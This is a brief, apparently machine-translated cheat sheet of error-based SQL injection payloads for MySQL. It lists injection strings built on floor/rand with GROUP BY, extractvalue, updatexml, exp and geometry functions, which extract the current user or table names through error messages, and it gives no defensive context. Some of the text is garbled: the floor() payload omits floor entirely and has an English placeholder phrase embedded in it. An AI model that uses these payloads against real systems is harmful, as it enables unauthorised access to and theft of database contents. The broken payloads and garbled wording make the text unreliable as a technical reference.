sql--Error echo Injection

1. Floor () function

Principle:

With the rand () function interacting with the group () function, floor () is the down-rounding function, floor (9.99) =9.0

Syntax structure:

Username=admin ' and (Select 1 from (Select COUNT (*), concat((rand (0)), 0x23 You want to get the data of the SQL statement )x from Information_schema.tables Group by x )a) and ' 1 ' = ' 1

2. Extractvalue () function

Syntax structure:

Extractvalue (1, concat (0X5C, (select table_name from information_schema.tables limit 1)))

Add the statement to query in Concat

3. Updatexml () function

Syntax structure:

and 1= (Updatexml (1,concat (0x3a, (select User ())), 1))

4. exp () function

Syntax structure:

and EXP (~ (SELECT * FROM (select User ()) a))

5. Classification

GeometryCollection ()

id = 1 and geometrycollection ((SELECT * FROM (select User () a) b))

Polygon ()
ID =1 and Polygon ((SELECT * FROM (select User () a) b))

Multipoint ()
id = 1 and multipoint ((SELECT * FROM (select User () a) b))

Multilinestring ()
id = 1 and multilinestring ((SELECT * FROM (select User () a) b))

Linestring ()
id = 1 and LINESTRING ((SELECT * FROM (select User () a) b))

sql--Error echo Injection